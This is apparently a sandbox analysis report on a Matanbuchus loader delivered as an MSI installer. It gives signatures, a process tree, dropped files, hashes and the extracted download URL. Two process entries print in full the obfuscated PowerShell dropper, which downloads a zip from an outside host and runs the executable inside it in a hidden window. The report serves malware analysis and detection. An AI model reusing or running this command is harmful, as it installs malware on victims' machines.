Analysis

  • max time kernel
    140s
  • max time network
    140s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/10/2025, 09:47

General

  • Target
    05c38a73d9a4ea07d9a851a15fd649573835a3b4b62761b4a8b12133bd9e8de8.msi
  • Size 2.0MB
  • Sample251006-lr665ahn4s
  • SHA256 05c38a73d9a4ea07d9a851a15fd649573835a3b4b62761b4a8b12133bd9e8de8
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://zermion.com/update/nsLib.zip

Signatures

  • Matanbuchus

    Matanbuchus is a loader sold as MaaS first seen in February 2021.

  • Matanbuchus family
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\05c38a73d9a4ea07d9a851a15fd649573835a3b4b62761b4a8b12133bd9e8de8.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4252
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1228
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding EA18762D1FCE10E773CD96AFE4214FBE
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4436
    • C:\Windows\Installer\MSI80BF.tmp
      "C:\Windows\Installer\MSI80BF.tmp" /DontWait /HideWindow POWeRsHELL –N"O"p"R"oF –e"P" B"yp"a"s"s –C"oM"M "$ak"j='h"t"t"ps://"z"e"rmi"o"n.c"o"m"/u"pd"a"t"e"/"n"s"Li"b.z"ip';$q"pw='DB"5U"p"g"r"a"de.e"x"e';$vx"z=(((65+$(G"e"t"-"R"a"nd"o"m" -"Ma"x 2"6)))+((G"et"-"R"a"nd"o"m" -"M"i"n"i"m"um 1"0"0"0" -M"a"x"i"m"u"m 9"9"99)) -"jo"in '');$bd"l=J"o"i"n-"Pat"h $e"n"v:T"E"M"P" ('p"u_'+$v"x"z+'.z"i"p');$m"s"r=Joi"n"-"Pa"t"h $en"v:TE"M"P" ('db"5_'+$v"x"z);iw"r $a"k"j -"U"s"e"B"a"s"i"c"P"ar"s"i"n"g -"O"u"t"F"il"e $b"d"l;E"xp"an"d"-A"r"c"h"i"v"e $b"d"l $m"s"r -"F"or"ce;r"m $b"d"l -"e"a 0;$l"zt=G"et-"C"h"i"l"d"It"e"m $msr -"F"i"l"t"e"r $q"p"w -"R"ec"u"rs"e" -E"r"r"o"r"A"c"t"io"n" S"i"l"e"n"t"l"y"C"on"t"in"u"e" | Se"lec"t"-Ob"j"e"c"t" -"F"i"r"st 1; i"f($l"z"t){S"t"a"r"t"-"Pr"o"c"es"s" $l"z"t.F"u"l"lN"a"m"e -"Wi"n"do"w"S"t"y"le H"id"d"e"n -W"o"r"k"ing"Dire"c"t"o"r"y $l"z"t.D"i"r"e"c"t"o"ryN"ame}"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4124
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1012
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" –N"O"p"R"oF –e"P" B"yp"a"s"s –C"oM"M "$ak"j='h"t"t"ps://"z"e"rmi"o"n.c"o"m"/u"pd"a"t"e"/"n"s"Li"b.z"ip';$q"pw='DB"5U"p"g"r"a"de.e"x"e';$vx"z=(((65+$(G"e"t"-"R"a"nd"o"m" -"Ma"x 2"6)))+((G"et"-"R"a"nd"o"m" -"M"i"n"i"m"um 1"0"0"0" -M"a"x"i"m"u"m 9"9"99)) -"jo"in '');$bd"l=J"o"i"n-"Pat"h $e"n"v:T"E"M"P" ('p"u_'+$v"x"z+'.z"i"p');$m"s"r=Joi"n"-"Pa"t"h $en"v:TE"M"P" ('db"5_'+$v"x"z);iw"r $a"k"j -"U"s"e"B"a"s"i"c"P"ar"s"i"n"g -"O"u"t"F"il"e $b"d"l;E"xp"an"d"-A"r"c"h"i"v"e $b"d"l $m"s"r -"F"or"ce;r"m $b"d"l -"e"a 0;$l"zt=G"et-"C"h"i"l"d"It"e"m $msr -"F"i"l"t"e"r $q"p"w -"R"ec"u"rs"e" -E"r"r"o"r"A"c"t"io"n" S"i"l"e"n"t"l"y"C"on"t"in"u"e" | Se"lec"t"-Ob"j"e"c"t" -"F"i"r"st 1; i"f($l"z"t){S"t"a"r"t"-"Pr"o"c"es"s" $l"z"t.F"u"l"lN"a"m"e -"Wi"n"do"w"S"t"y"le H"id"d"e"n -W"o"r"k"ing"Dire"c"t"o"r"y $l"z"t.D"i"r"e"c"t"o"ryN"ame}"
    1⤵
    • Badlisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Users\Admin\AppData\Local\Temp\db5_9788\DB5Upgrade.exe
      "C:\Users\Admin\AppData\Local\Temp\db5_9788\DB5Upgrade.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:5252

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e577e2c.rbs

        • Path C:\Config.Msi\e577e2c.rbs
        • Size 1KB
        • SHA256 d680b216a050cd44047ea70494267205a48306effb6813afddcb6bb01d9b5295
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_maeyleec.fri.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_maeyleec.fri.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AccessControl.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\AccessControl.dll
        • Size 15KB
        • SHA256 3948484bc6a6e8652c2220be411cdcabab73eab46578faca8c0bd01d3ea290ab
        • MD5 SHA1 SHA512 SSDEEP

        DB5Upgrade.exe

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\DB5Upgrade.exe
        • Size 252KB
        • SHA256 83f909b1b18d3ffdc0d76a27f167c7449f674ff9403ea608d0b55de2aca6f56a
        • MD5 SHA1 SHA512 SSDEEP

        DuiLib.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\DuiLib.dll
        • Size 1.4MB
        • SHA256 1a03fd6fe8afd6d4f855a327f13e56059c52dea6f4e5ccd326ecdfd6fa1c93a3
        • MD5 SHA1 SHA512 SSDEEP

        System.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\System.dll
        • Size 12KB
        • SHA256 7a9ddee34562cd3703f1502b5c70e99cd5bba15de2b6845a3555033d7f6cb2a5
        • MD5 SHA1 SHA512 SSDEEP

        inst.ui

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\inst.ui
        • Size 273KB
        • SHA256 2c3c7ac51f3e2d7762bd12d5abb0ea2f02cdd7f575f0489346a29e546eed9ef3
        • MD5 SHA1 SHA512 SSDEEP

        installerhelper.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\installerhelper.dll
        • Size 778KB
        • SHA256 095465c48bd5dcc649a7b6789f3bbf69dab7166f64c4f87f18c76a4529871834
        • MD5 SHA1 SHA512 SSDEEP

        nsExec.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\nsExec.dll
        • Size 7KB
        • SHA256 5e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe
        • MD5 SHA1 SHA512 SSDEEP

        sqlite.dll

        • Path C:\Users\Admin\AppData\Local\Temp\db5_9788\sqlite.dll
        • Size 167KB
        • SHA256 887b10ee0472dd7ce3ad2441300e077be6d1320a1a322736978dded57f39b236
        • MD5 SHA1 SHA512 SSDEEP

        MSI7E96.tmp

        • Path C:\Windows\Installer\MSI7E96.tmp
        • Size 1.1MB
        • SHA256 a578738eea6eb3a6eaa5887c83a019fdb73c5a6e7aabef9bd589aae9731b93c1
        • MD5 SHA1 SHA512 SSDEEP

        MSI80BF.tmp

        • Path C:\Windows\Installer\MSI80BF.tmp
        • Size 437KB
        • SHA256 beda7d837533e8a1c11c16ad399786ab779b97c19448eb2717df55fe90be0004
        • MD5 SHA1 SHA512 SSDEEP

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 24.6MB
        • SHA256 b77d7ee4d63a2b869a12a5533065d6471e96829305f7c6900c60756e167557f6
        • MD5 SHA1 SHA512 SSDEEP

        {03f263cb-a5ad-4221-8604-73ca4debea13}_OnDiskSnapshotProp

        • Path \??\Volume{5106e54a-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{03f263cb-a5ad-4221-8604-73ca4debea13}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 a516dd545941bf501354bc8ad9d212b34c30538b4fda4e470969dabdf6c4f9ec
        • MD5 SHA1 SHA512 SSDEEP

        memory/564-57-0x000001D47DFC0000-0x000001D47DFCA000-memory.dmp

        memory/564-84-0x000001D4654A0000-0x000001D465F62000-memory.dmp

        memory/564-56-0x000001D47DFD0000-0x000001D47DFE2000-memory.dmp

        memory/564-46-0x000001D4650E0000-0x000001D465102000-memory.dmp

        memory/1228-111-0x000001A717880000-0x000001A718342000-memory.dmp

        memory/5252-108-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-109-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-110-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-107-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-106-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-100-0x0000000003D30000-0x0000000007AE1000-memory.dmp

        memory/5252-88-0x0000000000EC0000-0x0000000000EC3000-memory.dmp

        memory/5252-126-0x0000000007B00000-0x0000000007B02000-memory.dmp